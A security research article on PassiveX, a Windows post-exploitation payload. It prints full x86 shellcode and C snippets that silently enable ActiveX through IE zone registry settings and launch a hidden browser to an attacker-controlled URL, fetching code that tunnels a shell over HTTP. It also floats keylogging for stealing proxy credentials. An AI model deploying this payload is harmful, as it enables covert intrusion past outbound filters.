Copy Link
Add to Bookmark
Report
uninformed 01 02
Post-Exploitation on Windows using ActiveX Controls
skape
mmiller@hick.org
Last modified: 03/18/2005
1) Foreword
Abstract: When exploiting software vulnerabilities it is
sometimes impossible to build direct communication channels between
a target machine and an attacker's machine due to restrictive
outbound filters that may be in place on the target machine's
network. Bypassing these filters involves creating a
post-exploitation payload that is capable of masquerading as normal
user traffic from within the context of a trusted process. One
method of accomplishing this is to create a payload that enables
ActiveX controls by modifying Internet Explorer's zone restrictions.
With ActiveX controls enabled, the payload can then launch a hidden
instance of Internet Explorer that is pointed at a URL with an
embedded ActiveX control. The end result is the ability for an
attacker to run custom code in the form of a DLL on a target machine
by using a trusted process that uses one or more trusted
communication protocols, such as HTTP or DNS.
Thanks: The author would like to thank H D Moore, spoonm,
vlad902, thief, warlord, optyx, johnycsh, trew, jhind, and all the
other people who continue to research new and interesting things for
their own satisfaction and enjoyment. The author would also like to
thank the Metasploit Framework mailing list for the discussion on
HTTP tunneling which served as the impetus for implementing and
integrating PassiveX.
The source code to the ActiveX Injection Payload and ActiveX control
described in this document can be found as an update to the
Metasploit Framework version 2.3 which can be downloaded from
http://www.metasploit.com. PassiveX was tested with ZoneAlarm
version 5.5.062.011.
2) Introduction
The emphasis in exploit development tends to lean more towards the
techniques used to successfully execute code on a target machine
rather than the code, or payload, that will actually be executed
once an exploit has taken advantage of a vulnerability. While such
an emphasis is an obvious and warranted pre-requisite, it is also
just as important to identify and refine the techniques that can be
used once it is possible to execute arbitrary code on a target
machine. In general, most published exploits include a finite set
of payloads that are themselves only capable of performing a small
set of actions, such as connecting back to the attacker and
providing them with a command interpreter or allowing the attacker
to connect to the target machine to gain access to a command
interpreter There are other classes of post-exploitation
payloads but these two are the most prominent. findsock
style payloads are excluded from this discussion due to the fact
that they are vulnerability dependent and as such not as universal
as the two commonly used payloads.. Payloads such as these are
indeed quite useful but are prone to failure under conditions that
cannot always be predicted by an attacker.
For instance, an attacker could be exploiting a software
vulnerability in an HTTP server that only permits connections to
port 80. In this case, if an attacker were to use a payload that
binds to a port on the target machine, the attacker would soon find
that it would be impossible to connect to the bound port, regardless
of whether or not the exploit actually succeeded In some
cases it is possible to rebind to the port of the service being
exploited. This fact is outside of the scope of this document..
The same case applies to payloads that establish a connection to the
attacker on an arbitrary port. If the service being attacked is on
a machine that has restrictive outbound filters or has a personal
firewall installed that restricts specific types of internet access
for certain applications, the attacker may find it impossible to use
either of the two common payloads.
With that said, the majority of computers connected to the internet
do not have highly restrictive outbound filters. The reason this is
the case is because many home users simply plug their computer
directly into the internet via their cable modem, DSL router, or
phone line instead of a network firewall device. Furthermore, the
level of understanding required to competently manage outbound
filters is generally not something that is a strong desire or
possibility for the average computer user. For the sake of
discussion, however, these users will be disregarded due to the fact
that currently employed payloads are sufficient to establish a
communication channel between the attacker and a target machine.
Instead, the focus will be put upon those machines that make use of
outbound filters that are capable of preventing the two
aforementioned payloads from being used.
There are three types of outbound filters that can be differentiated
by the OSI layer at which they filter and by the physical location
at which they reside. The first type of outbound filter is the
network-based filter which operates at the network and transport
layer by filtering connections based on information that is required
to communicate with a host, such as the destination IP address or
port of a packet. The second type of outbound filter is the
application-based filter which operates at the application layer by
filtering network traffic to certain destinations based on the
application that is performing the network action An
example of this comes in the form of ZoneAlarm's outbound filter
that prompts the user when an application attempts to make a
connection to determine whether or not the connection should be
allowed.. The third type of outbound filter operates transparently
at various layers of the OSI model as a type of protocol form
validation, such as a transparent HTTP proxy. These three filters
can be combined to create a robust and dynamic method of filtering
outbound connections that, while not perfect, does indeed lend
itself well to helping ensure the integrity of a network.
The reason these three outbound filters are not perfect is because
of the fact that they still allow outbound communication. Though
this may seem like a paradox, it is actually a real problem. Take
for instance a scenario where a corporation's workstation is being
exploited through a client-side chat client vulnerability. In this
scenario, the corporation has configured their network firewalls to
allow communication to internet addresses on port 80 only. All
other outbound ports are filtered and cannot be communicated with.
Given these restrictions, an attacker might simply instruct his or
her payload to connect back to the attacker on port 80, thus
bypassing the other outbound restrictions altogether. While this
would indeed work, there are steps that the corporation could take
to help prevent this approach. For instance, if the same
corporation were to force all HTTP traffic through a transparent or
true HTTP proxy, the attacker would be unable to simply pipe a
command interpreter through a connection on port 80 since the data
would not be well-formed HTTP traffic.
This is where things begin to get interesting and the inherent flaw
of generic outbound filters begins to come to light. Under the
aforementioned condition, a corporation has their network configured
to permit outbound communication on port 80 only and furthermore
requires all port 80 communication to pass through a transparent
HTTP proxy. As such, it is a requirement that all traffic passing
through port 80 to internet hosts be well-formed HTTP requests and
responses, else the transparent proxy will not permit it to pass.
The obvious thing for an attacker to do, then, is to tunnel or
encode their communication in valid HTTP requests and responses,
thus bypassing all of the restrictions that the corporation has put
in place. Hope is not yet lost for the corporation, however, for
they could deploy a personal firewall, such as ZoneAlarm, that is
capable of doing per-application outbound filters. This would allow
the corporation to make it so only a browser, such as Internet
Explorer or Mozilla, is capable of connecting to internet hosts on
port 80. All other applications, such as the chat client that is
being exploited in this scenario, would be unable to connect to
internet hosts on port 80 in the first place.
It may seem like this would be enough to stop an attacker from being
able to build a communication channel between themselves and the
target machine, but the fact is that it is not, and thus the
inherent flaw in generic outbound filters is realized: If a
user is capable of communicating with hosts on the internet, so too
is an attacker capable of doing so from the user's computer. In
this case, an attacker could simply inject code into a trusted
browser process that then constructs an HTTP tunnel between the
target machine and the attacker, thus bypassing both the application
layer,network layer, and transparent outbound filters that the
corporation has put into place.
The example of the HTTP tunnel is just one of many protocols that
can be used or abused to tunnel arbitrary data through restrictive
outbound filters. Other protocols that can, and have, been used in
the past for arbitrary data tunneling are DNS, POP3, and SMTP. These
protocols are also likely, though some of them less than others, to
be ones that a corporation or a user are likely to permit both at
the network layer and at the application layer. For the purpose of
this paper, only the implementation of the HTTP tunnel will be
discussed for it is the most likely of all others to be capable of
passing transparently through outbound filters The second
most likely, in the author's opinion, is DNS.. The following
chapters will discuss the implementation of a payload that is
capable of bypassing the scenario discussed in this introduction on
the Windows platform. From there, a number of potential uses, both
legitimate and otherwise, will be discussed to give a sense of
severity for the problem at hand. Finally, some suggestions will be
made on how payloads of this sort might be prevented from being
leveraged by an attacker in the future.
3) Implementation: PassiveX
Implementing a payload that is capable of bypassing restrictive
outbound filters, such as those outlined in the introduction,
requires that the traffic produced by the payload be, for all
intents and purposes, indistinguishable from normal user traffic.
The protocol that should be used to encapsulate the attacker's
arbitrary data, such as the input and output from the command
interpreter, should also be one that is likely to be permitted by
the various types of outbound filters, whether they be network or
application based. One of the protocols capable of fulfilling both
of these requirements is HTTP. By making use of HTTP requests and
responses, it is possible for an attacker to create a bidirectional
tunnel between the target machine and the attacker's machine that
can be used to pass arbitrary data.
The way in which the tunnel can be constructed using HTTP is to
create two logical channels, similar to that of a bidirectional
pipe. The first channel, Tx, would be used to transmit
data from the target machine to the attacker's machine by making use
of an HTTP POST request. The content of the POST
would be the data that should be handed to the attacker. The second
channel, Rx, would be used to transmit data from the
attacker's machine to the target machine. The problem is, however,
that the data cannot be directly transmitted from the attacker's
machine to the target machine while still staying within the
parameters of well-formed HTTP traffic It is possible to
make use of technology like chunked encoding, however, such
technology is seen as easier to flag and detect as malicious traffic
from the perspective of an outbound filter and cannot always be
relied upon to work when passing through HTTP proxies.. One way of
getting around this fact would be to use a polling model whereby the
target machine sends polling HTTP GET or POST
requests to the attacker's machine to see if there is any data
available that should be handed to the target machine's half of the
tunnel. Once there is data available it can be included in the
content of the HTTP response to the target machine's HTTP request.
This approach is one that is commonly used and employed as a
tunneling mechanism.
The first step in the building of an HTTP tunnel between the target
machine and the attacker's machine is to implement the payload that
will be executed after a given exploit succeeds. There are a number
of ways in which such a payload could be written with the most
obvious being a payload that directly builds and maintains the
bidirectional HTTP tunnel between the attacker and the target
machine. While this approach may sound good in principal, it is not
entirely practical. The reason for this is that the payload must be
written in assembly or in a language that is capable of producing
position independent code. This fact alone would make the
implementation of a payload that accomplishes HTTP tunneling tedious
but is in itself not necessarily enough to make it impractical. What
does make it impractical, however, is the fact that implementing
such a payload in a portable and position independent fashion would
lead to a very large payload. The size of a payload tends to be
rather important as it directly determines whether or not it can be
employed under certain conditions, such as where a vulnerability
only has a limited amount of room in which to store the payload that
will be executed. In scenarios such as these it is preferable to
have a payload that is as small as possible and yet still capable of
performing the task at hand.
Even if it were possible to implement a small payload that were
capable of managing the HTTP tunneling, it alone would not be enough
to satisfy the requirements for the payload described in the
introduction. The reason it is not enough is because such a payload
would not necessarily be capable of bypassing application-based
outbound filters due to the fact that the application being
exploited, such as a chat client, may not itself be directly capable
of communicating with hosts on the internet over port 80. Instead,
it becomes necessary to run the code that performs the actual HTTP
tunneling in the context of a process that is most likely trusted by
the target machine, such as Internet Explorer. With this in mind it
seems clear that a technique other than implementing the entire HTTP
tunneling code in position independent assembly is necessary, both
from a practical and functional standpoint.
An alternate technique that can be used is to implement a payload
that is itself not directly responsible for managing or initializing
the HTTP tunnel, but rather facilitates the execution of the code
that will be responsible for doing so. It's important to note,
however, that such a payload must do so in a fashion that does not
require network access due to the fact that ignoring such a
requirement would defeat the entire purpose of the HTTP tunneling
payload that it would be trying to load. With this in mind, it
becomes necessary to look towards other approaches that are capable
of facilitating the execution of code that will build an HTTP tunnel
between the target machine and the attacker's machine and,
furthermore, will do so using a medium that is compatible with the
various types of outbound filters.
As luck would have it, a solution to this problem can be found in
Internet Explorer's ability to download and execute plugins. These
plugins, which are more commonly known as ActiveX controls, are a
means by which programmers can extend or enhance features in
Internet Explorer in a generic fashion Which, as fate would
have it, just so happens to align well with this paper's intention
of creating an HTTP tunnel in the context of a trusted process..
Though ActiveX controls do have merit, many computer users tend to
be familiar with them not for the benefits they bring, but rather
for the spyware and other malicious content that they seem to
provide or be associated with. Due to this fact, it has become
common practice for computer's to be configured with ActiveX support
either completely disabled or conditionally permitted based on
Internet Explorer's built-in zone restrictions.
Zone restrictions are a way in which Internet Explorer allows a user
to control the level of trust that is given to various sites. For
instance, sites in the Trusted Sites zone are considered to
have the highest level of trust and are thus capable of executing
ActiveX controls and other privileged content without necessarily
requiring input from the user. On the other hand, the
Internet zone represents the set of sites that exist on the
internet and are not expressly trusted by the user. The
Internet zone typically defaults to prohibiting the
downloading and execution of unsigned ActiveX controls. If an
ActiveX control is signed, the user will be prompted to determine
whether or not they wish to allow the signer of the ActiveX control
to execute code on the user's machine.
With this knowledge of Internet Explorer's zone restrictions and its
built-in ability to download and execute ActiveX controls, it is
possible to construct a payload that can facilitate the establishing
of an HTTP tunnel between the target machine and the attacker,
regardless of whether or not outbound filters exist. One way that
this can be accomplished is by implementing a payload that first
modifies the zone restrictions for the Internet zone to
allow the downloading and execution of all ActiveX controls, thus
allowing it to work in environments that have explicitly disabled
ActiveX controls. The payload can then execute a hidden instance of
Internet Explorer and direct it at a URL on the internet that is
controlled by the attacker. The content of the target URL, in this
scenario, would contain an embedded ActiveX control that Internet
Explorer would download and run without question. As such, the code
that would be responsible for building the HTTP tunnel could be
implemented in the context of the ActiveX control that is
downloaded, thus allowing the attacker to write the tunneling code
in his or her language of choice due to the fact that ActiveX
controls are language independent, so long as they conform to the
necessary COM interfaces.
Before describing the implementation of the payload and the
respective ActiveX control, it is first important to understand some
of the negative aspects of using such an approach. One of the most
obvious cons is that such a payload is capable of, in the worst case
scenario, leaving a user's computer completely open to future
infection by way of untrusted ActiveX controls if the zone
restrictions on the Internet zone are not restored. This
can be solved by making the payload itself more robust in the way it
handles the restoration of the zone restrictions, but it comes at
the cost of size which isn't always something that can be conceded.
Another negative aspect of this approach is that it will not
function when used against a user that does not have administrative
privileges on the target machine. The reason for this is that
Internet Explorer is hard-coded to prevent the downloading and
execution of ActiveX controls that are not already registered and
installed on the target machine. Under scenarios where it is known
that a limited user account is being exploited, it may be possible
to modify the payload to inject a secondary payload into the context
of an Internet Explorer process that then downloads and registers
the control manually The control would have to be able to
be registered under the user-specific classes key instead of the
global classes key in order to avoid permission problems..
Regardless of the payloads deficiencies, it should nonetheless be
consider a viable approach to the problem at hand.
The payload itself has two distinct stages. The first stage is the
payload that the exploit will send across that will be responsible
for making modifications Internet Explorer's zone restrictions and
executing a hidden Internet Explorer to a URL that is controlled by
the attacker. The second stage starts once the ActiveX control that
was embedded in the attacker controlled URL is loaded into the
hidden Internet Explorer. Once loaded, the ActiveX control can
simply build an HTTP tunnel between the two machines due to the fact
that it's running in the context of a process that should be
trusted. This document's implementation of the payload will
henceforth be referred to as PassiveX Though PassiveX has
been used for other projects, it seemed only fitting to use for this
one as well..
3.1) The ActiveX Injection Payload
This section will describe the implementation of the payload that an
exploit will send across as the arbitrary code that is to be
executed once the exploit succeeds. This code will be executed in
the context of the exploited process and is what will be used to
facilitate the loading of an ActiveX control inside of an instance
of Internet Explorer. There are, as with all things, a number of
ways to implement this payload. The following steps describe the
actions that such a payload would need to perform in order to
accomplish this task.
1. Find KERNEL32.DLL and resolve symbols
The first step, as is true with most Windows payloads, is to locate
the base address of KERNEL32.DLL. Determining the base
address of KERNEL32.DLL is necessary in order to load other
modules, such as ADVAPI32.DLL. The way that this is
accomplished is to resolve the address of
kernel32!LoadLibraryA. The technique used to locate the
base of KERNEL32.DLL can be any one of the typically
employed approaches, such as PEB or TOPSTACK. For
this payload, it is also necessary to resolve the address of
kernel32!CreateProcessA so that the hidden Internet
Explorer can be executed.
2. Load ADVAPI32.DLL and resolve symbols
Once kernel32!LoadLibraryA has been resolved, the next step
is to load ADVAPI32.DLL since it may or may not already be
loaded. ADVAPI32.DLL provides the standard interface to
the registry that most applications, and the payload itself, need to
make use of. There are two specific functions that are needed for
the payload: advapi32!RegCreateKeyA and
advapi32!RegSetValueExA.
3. Open the Internet zone's registry key
After resolving all of the necessary symbols, the next step is to
open the Internet zone's registry key for writing so that
the individual settings for ActiveX controls can be set to the
enabled status. This is accomplished by calling
advapi32!RegCreateKeyA in the following fashion:
HKEY Key;
RegCreateKeyA(
HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion"
"\Internet Settings\Zones\3",
&Key);
While testing this portion of the payload it was noted that Windows
2000 with Internet Explorer 5.0 does not have the necessary registry
keys created under the HKEY_USERS\.DEFAULT registry key. Even
if the necessary keys are created, the first time Internet Explorer
is executed from within the system service leads to the internet
connection wizard being displayed. This basically makes it such
that the payload is only capable of working on machines that have
Internet Explorer 6.0 installed (such as Windows XP and 2003
Server).
4. Modify IE's Internet zone restrictions
Once the key has been successfully opened the zone restrictions for
prohibiting ActiveX controls from being used can be changed. There
are four settings that need to be toggled to ensure that ActiveX
controls will be usable:
Setting Value Name | Description
--------------------------------
1001 | Download signed ActiveX controls
1004 | Download unsigned ActiveX controls
1200 | Run ActiveX controls and plugins
1201 | Initialize and script ActiveX controls not marked as safe
In order to make it so ActiveX controls can be used, each of the
above described settings must be changed to Enabled. This
is done by setting each of the values to 0 by calling
advapi32!RegSetValueExA on the opened key for each of the
individual registry values. After these values are set to enabled,
Internet Explorer will, by default, download and execute ActiveX
controls regardless of whether or not they are signed without user
interaction. The actual process of setting of a value is
demonstrated below:
DWORD Enabled = 0;
RegSetValueEx(
Key,
"1001",
0,
REG_DWORD,
(LPBYTE)&Enabled,
sizeof(Enabled));
5. Determine the path to Internet Explorer
With the zone restrictions modified, the next step is to determine
the full path to IEXPLORE.EXE. The reason this is
necessary is because IEXPLORE.EXE is not in the path by
default and thus cannot be executed by name. While
shell32!ShellExecuteA may appear like an option, it is in
fact not considering the fact that the target machine may have
Mozilla registered as the default web-browser. It should also not
be assumed that Internet Explorer will reside on a static drive,
such as the C: drive. Even though it may be common, there
are sure to be cases where it will not be true.
One way of working around this issue is to use a very small portion
of code that determines the absolute path to internet explorer in
only two assembly instructions. The code itself makes an assumption
that Internet Explorer's installation will be on the same drive as
the Windows system directory and that it will also be installed
under its standard install directory. Barring this, however, the two
instructions should result in a portable implementation between
various versions of Windows NT+:
url:
db "C:\progra~1\intern~1\iexplore -new http://site", 0x0
...
fixup_ie_path:
mov cl, byte [0x7ffe0030]
mov byte [esi], cl
In the above code snippet, esi points to url. The
static address being referenced is actually a portion of
SharedUserData that just so happens to point to the unicode
path of the system directory on the machine. By making the
assumption that the drive letter that the system directory is found
on will be the same as the one that Internet Explorer is found on,
it is possible to copy the first byte from the system directory path
to the first byte of the path to Internet Explorer on disk, thus
ensuring that the drive letters are the same This code has
potential issues with certain locales depending on whether or not
assumptions made about code paths or ASCII drive letters are safe..
6. Execute a hidden Internet Explorer with a specific target URL
Once the full path to Internet Explorer has been located, all that
remains is to execute a hidden Internet Explorer with it pointed at
an attacker controlled HTTP server. This is accomplished by calling
CreateProcessA with the command line argument properly set
to the full path to Internet Explorer. Furthermore, the
wShowWindow attribute should be set to SW_HIDE to
ensure that the Internet Explorer instance is hidden from view. This
is accomplished by calling CreateProcessA in the following
fashion:
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(
&si,
sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcessA(
NULL,
url, // "\path\to\iexplore.exe -new <url>"
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
One important thing to note about this phase is that in order to get
it to work properly with system services that are not able to
directly interact with the desktop, the si.lpDesktop attribute
must be set to something like WinSta0\Default.
An implementation of this approach can be found below. It is
optimized for size (roughly 400 bytes, adjusted for the variable URL
length), robustness, and portability. A large part of the payload's
size comes from the static strings that it has to reference for
opening the registry key, setting the values, and executing Internet
Explorer. The size of the payload is one of its major benefits to
this approach as it ends up being much smaller than other techniques
that attempt to accomplish a similar goal.
Targets: NT/2000/XP/2003
Size: ~400 bytes + URL size
passivex:
cld
call get_find_function
strings:
db "Software\Microsoft\Windows\"
db "CurrentVersion\Internet Settings\Zones\3", 0x0
reg_values:
db "1004120012011001"
url:
db "C:\progra~1\intern~1\iexplore -new"
db " http://attacker/controlled/site", 0x0
get_find_function:
call startup
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edi, [ebp + eax + 0x78]
add edi, ebp
mov ecx, [edi + 0x18]
mov ebx, [edi + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
compute_hash:
xor eax, eax
cdq
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edx, 0xd
add edx, eax
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edx, [esp + 0x28]
jnz find_function_loop
mov ebx, [edi + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edi + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
mov [esp + 0x1c], eax
find_function_finished:
popad
retn 8
startup:
pop edi
pop ebx
find_kernel32:
xor edx, edx
mov eax, [fs:edx+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp short find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
add eax, byte 0x7c
mov eax, [eax + 0x3c]
find_kernel32_finished:
mov ebp, esp
find_kernel32_symbols:
push 0x73e2d87e
push eax
push 0x16b3fe72
push eax
push 0xec0e4e8e
push eax
call edi
xchg eax, esi
call edi
mov [ebp], eax
call edi
mov [ebp + 0x4], eax
load_advapi32:
push edx
push 0x32336970
push 0x61766461
push esp
call esi
resolve_advapi32_symbols:
push 0x02922ba9
push eax
push 0x2d1c9add
push eax
call edi
mov [ebp + 0x8], eax
call edi
xchg eax, edi
xchg esi, ebx
open_key:
push esp
push esi
push 0x80000001
call edi
pop ebx
add esi, byte (reg_values - strings)
push eax
mov edi, esp
set_values:
cmp byte [esi], 'C'
jz initialize_structs
push eax
lodsd
push eax
mov eax, esp
push byte 0x4
push edi
push byte 0x4
push byte 0x0
push eax
push ebx
call [ebp + 0x8]
jmp set_values
fixup_drive_letter:
mov cl, byte [0x7ffe0030]
mov byte [esi], cl
initialize_structs:
push byte 0x54
pop ecx
sub esp, ecx
mov edi, esp
push edi
rep stosb
pop edi
mov byte [edi], 0x44
inc byte [edi + 0x2c]
inc byte [edi + 0x2d]
execute_process:
lea ebx, [edi + 0x44]
push ebx
push edi
push eax
push eax
push byte 0x10
push eax
push eax
push eax
push esi
push eax
call [ebp]
exit_process:
call [ebp + 0x4]
3.2) HTTP Tunneling ActiveX Control
The second stage is arbitrary in that an attacker could implement an
ActiveX control to do virtually anything. For instance, an ActiveX
control could cause a chicken wearing pants to slide around the
screen every few minutes. Though this would be patently useless,
it's nonetheless an example of the types of things that can be
accomplished by an ActiveX control. For the purposes of this
document, however, the ActiveX control will construct a
communication channel, over HTTP, between a target machine and the
attacker's machine such that arbitrary data can pass between the two
entities in a way that is compatible with restrictive outbound
filters. Like the payload described in , there are a
number of ways to implement an ActiveX control capable of
accomplishing this task. Going forward, this section requires basic
knowledge of COM (Component Object Model).
The approach taken in this document was to create an ActiveX control
using ATL, short for Active Template Library) The
reason that ATL was picked over MFC was due to the fact that MFC is
less portable without CAB'ing dependencies (as when dynamically
linked against the MFC DLLs), or much larger (as when statically
linked against the MFC libs).. The purpose of the ActiveX control,
as described in this chapter, is to build an HTTP tunnel between the
attacker and the target machine. The ActiveX control should also be
able to, either directly or indirectly, make use of the HTTP tunnel,
such as by piping the input and output of a command interpreter
through the HTTP tunnel.
The ActiveX control discussed in this document makes use of the HTTP
tunnel by creating what has been dubbed a local TCP
abstraction. This is basically a fancy term for using a truly
streaming connection, such as a TCP connection, as an abstraction to
the bidirectional HTTP tunnel. The reason this is advantageous is
because it allows code to run without knowing that it is actually
passing through an HTTP tunnel, hence the abstraction. This is
especially important when it comes to re-using code that is natively
capable of communicating over a streaming connection.
One way in which this abstraction layer can be created is by having
the ActiveX control create a TCP listener on a random local port.
After that, the ActiveX control can establish a connection to the
listener. This creates the client half of the streaming connection
which will be used to transmit data to and from the remote machine
in a truly streaming fashion. After the ActiveX control establishes
a connection to the local TCP listener, it must also accept the
connection on behalf of the listener. The server half of the
connection is what is used both to encapsulate data coming from the
target machine to the attacker's machine and as the truly streaming
destination for data being sent from the attacker to the target
machine. Data that is written to the server half of the connection
will, in turn, be read from the client half of the connection by
whatever it is that's making use of the socket, such as a command
interpreter. This method of TCP abstraction even works under the
radar of application-based filters like Zone Alarm because the
listener is bound to a local interface instead of an actual
interface This was tested with Zone Alarm 5.5.062.011..
The ActiveX control itself is composed of a number of different
files whose purposes are described below:
File | Description
---------------------------------------------
CPassiveX.cpp | Coclass implementation source
CPassiveX.h | Coclass implementation header
HttpTunnel.h | HTTP tunnel management class header
HttpTunnel.cpp | HTTP tunnel management class source
PassiveX.bin | Interface registration data
PassiveX.idl | IPassiveX interface, coclass, and typelib definition
PassiveX.rc | Resource script containing version information, etc
resource.h | Resource identifier definitions
PassiveX.cpp | DLL exports and entry point implementations
The first place to start when implementing an ActiveX control is
with the control's interface definition which is defined in
PassiveX.idl. In this case, the control has its own
interface defined so that it can export a few getters and setters
that will allow the browser to set properties on an instance of the
ActiveX control. The ActiveX control requires two primary
parameters, namely the attacker's remote host and port, in order to
construct the HTTP tunnel. Furthermore, it may also be necessary to
instruct the ActiveX control that it should download more custom
code to execute once the control has been initialized, such as a
second stage payload that would make use of the established HTTP
tunnel. Parameters are typically passed using the HTML
PARAM tag in the context of an OBJECT tag.
The three parameters that the ActiveX control in this document
supports are:
Property | Description
----------------------------------
HttpHost | The DNS or IP address of the attacker controlled machine
HttpPort | The port, most likely 80, that the attacker is listening on
DownloadSecondStage | A boolean value which indicates whether or not a second stage should be downloaded
The getters and setters for these three properties are provided
through the control's IPassiveX interface which is defined
in the PassiveX.idl file. The coclass, defined as
CPassiveX in CPassiveX.h, uses the
IPassiveX interface as its default interface. Aside from
the default interface, the ActiveX control must also inherit from
and implement a number of other interfaces in order to make it
possible for the ActiveX control to be loaded in Internet
Explorer Reference code can be found in the Metaploit
Framework.
Once the ActiveX control's interface and coclass have been
sufficiently implemented to allow an instance to load in the context
of Internet Explorer, the next step becomes the constructing of the
HTTP tunnel. One of the easiest ways to implement this portion of
the ActiveX control is to make use of Microsoft's Windows
Internet API, or WinINet for short. The purpose of WinINet is to
provide applications with an abstract interface to protocols such as
Gopher, FTP, and HTTP. One of the major benefits to
using this API is that it will make use of the same settings that
Internet Explorer uses as far as proxying and zone restrictions are
concerned. This means that if a user normally has to send their
HTTP traffic through a proxy and has configured Internet Explorer to
do so, any application that uses WinINet will be able to share the
same settings The API also allows the programmer to
explicitly ignore the pre-cached settings if so desired.. The
actual API routines that are necessary to build an HTTP tunnel using
WinINet are described below:
WinINet Function | Purpose
-----------------------------
InternetOpen | Initializes the use of the other WinINet functions
InternetConnect | Opens a connection to a host for a given service
InternetSetOption | Allows for setting options on the connection, such as request timeout
HttpOpenRequest | Opens a request handle that is associated with a specific request
HttpSendRequest | Transmits an HTTP request to the target host
InternetReadFile | Reads response data after a request has been sent
HttpQueryInfo | Allows for querying information about an HTTP response, such as status code
InternetCloseHandle | Closes a WinINet handles
The above described functions can be used to create a logical HTTP
tunnel that conforms to the HTTP protocol, appears like a normal
web-browser, and uses any pre-configured internet settings. The
basic steps necessary to make this happen are described below:
1. Initialize WinINet with InternetOpen
In order to make it possible to use the facilities provided by the
Windows Internet API, it is first necessary to call
wininet!InternetOpenA. The handle returned from a
successful call to wininet!InternetOpenA is required to be
passed as context to a number of other routines.
2. Create the send and receive threads
Since there are two distinct channels by which data is transmitted
and received through the HTTP tunnel, it is necessary to create two
threads for handling both the send and the receive data. The reason
these two channels cannot be processed in the same thread
efficiently is because one half, the local TCP abstraction half,
uses Windows Sockets, whereas the second half, where data is read in
from the contents of HTTP responses between the target machine and
the attacker machine, uses the Windows Internet API. The handles
used by the two APIs cannot be waited on by a common routine. This
fact makes it more efficient to give each portion of the
communication its own thread so that they can use the native API
routines to poll for new data.
3. Poll the server side of the TCP abstraction in the send thread
In order to check for data being sent from the target machine to the
attacker's machine, it is necessary to poll the server side of the
TCP abstraction. This can be accomplished by calling
ws2_32!select on an fdset that contains the
server half of the connection that was established to the local TCP
listener. When ws2_32!select returns one it indicates that
there is data of some form available for processing, whether it be
actual data to be read from the socket or an indication that the
socket has closed. When this occurs a call to ws2_32!recv
can be made to read data from the socket. If zero is returned it
indicates that the local connection has been terminated. Otherwise,
if a value larger than zero is returned, it indicates the number of
bytes actually read from the connection. The buffer that the data
was read into can then be used as the body content of an HTTP
POST request that is transmitted to the attacker. This
cycle repeats itself until the local connection eventually closes,
an error is encountered, or the stateless tunnel between the two
endpoints is terminated.
4. Poll for data from the remote side of the of the HTTP tunnel
in the receive thread
Polling for data that is being sent from the attacker to the target
machine is not as simple the other direction simply due to the fact
that the polling operation must be simulated using an HTTP
GET or POST request instead of using a native
routine to check for new data. This approach is necessary in order
to remain compliant with HTTP's request/response format. The actual
implementation is as simple as an infinite loop that continually
transmits an HTTP request to the attacker requesting data that
should be written to the server side of the TCP abstraction. If
data is present, the attacker will send an HTTP response that
contains the data to be written in the body of the response. If no
data is present, the attacker can either wait for data to become
available or respond with no content in the response. In either
case, the polling thread should repeat itself at certain intervals
(or immediately if data was just indicated) for the duration of time
that the stateless HTTP tunnel between the two endpoints stays up.
Beyond these simple tasks, the ActiveX control can also download and
execute a second stage payload in the context of its own thread.
This second stage payload could be passed the file descriptor of the
client half of the TCP abstraction which would allow it to
communicate with the attacker over a truly streaming socket that
just so happens to be getting encapsulated and decapsulated in HTTP
requests and responses. There are also a number of other things
that could be developed into the ActiveX control to make it a more
robust platform from which further attacks could be mounted. These
extensions will be discussed more in the next chapter.
4) Potential Uses and Enhancements
The PassiveX payload has the ability to be used for a wide array of
things regardless of whether or not an HTTP tunnel is even used. The
ability for a payload to inject an untrusted ActiveX control into an
Internet Explorer instance without any user interaction at all is
enough to give an attacker full control over the machine without the
attacker so much as typing a single command. The ways in which such
a thing could be accomplished could be through the development of a
robust and feature-filled ActiveX control that may or may not make
use of an HTTP tunnel between the target host and the attacker. This
abstract concept will be discussed alongside other more concrete
uses for this technique in the sections of this chapter.
4.1) Automation with Scripting
An abstract application of this payload would be to create an
ActiveX control that provides a scriptable interface to the machine
that it is loaded on. This would let an attacker interface with the
generic ActiveX control via JavaScript or vbscript in a manner that
would allow for easy automation and control of the machine that it's
loaded on. For instance, the ActiveX control could provide, via its
COM interface or interfaces, a scripting-accessible API to things
like the filesystem, networking, the registry, and other core
components of the operating system. The primary benefit to
implementing an ActiveX control that provides access to components
such is these is that automated code can be written in a browser
supported scripting language rather than having to modify the
ActiveX control itself each time a new feature is to be added. The
use of a scripting interface can be seen as a more flexible method
of interacting with a machine, though it does come at the cost of
requiring the ActiveX control to expose enough of the operating
system's feature set to make it useful.
4.2) Passive Information Gathering
In some situations the ActiveX control may not have enough
information to create an HTTP tunnel between the target machine and
the attacker. An example of information that the control would need
but may not have is proxy authorization credentials. In cases such
as these it would be possible for the ActiveX control to be enhanced
to support keystroke logging and other forms of information
gathering that would allow it to collect enough data to be able to
build some sort of data channel. The ActiveX control could also be
extended to make the data channel more covert by having it vary both
in protocol, such as by switching to and from DNS, and in delay,
such as by causing HTTP posts to be spread out in time to make them
appear less suspicious.
4.3) Penetration Testing
Perhaps one of the must useful cases for the PassiveX payload is in
the field of penetration testing where it's not always possible to
get into a network by the most direct means. It is common practice
for corporations to make use of some sort of outbound filter,
whether it be network-based, application-based, intermediate, or a
combination of all three. Under conditions like these, a
penetration tester may find themselves capable of exploiting a
vulnerability but without an ability to really take control of the
machine being exploited. In cases such as these it would be useful
to have a payload that is capable of constructing a tunnel over an
arbitrary protocol, such as HTTP, that is able to bypass outbound
filters.
